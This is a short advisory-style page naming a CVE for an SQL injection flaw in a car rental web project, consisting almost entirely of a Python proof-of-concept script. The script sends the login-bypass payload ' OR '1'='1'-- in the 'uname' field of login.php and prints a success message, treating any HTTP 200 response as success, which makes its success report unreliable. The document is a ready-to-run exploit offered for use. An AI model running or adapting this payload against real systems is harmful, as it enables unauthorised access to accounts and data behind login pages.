CVE-2026-5368 projectworlds Car Rental Project SQL注入漏洞

import requests # Target URL (replace with actual target) target_url = "http://target-ip/login.php" # SQL Injection Payload for 'uname' parameter # Attempting to bypass login using ' OR '1'='1 payload = { "uname": "' OR '1'='1'--", "password": "anything" } try: response = requests.post(target_url, data=payload) # Check for successful login indicators (adjust based on application response) if "Welcome" in response.text or response.status_code == 200: print("[+] Vulnerability exploited successfully! Potential login bypass.") else: print("[-] Exploit failed or target not vulnerable.") except Exception as e: print(f"Error: {e}")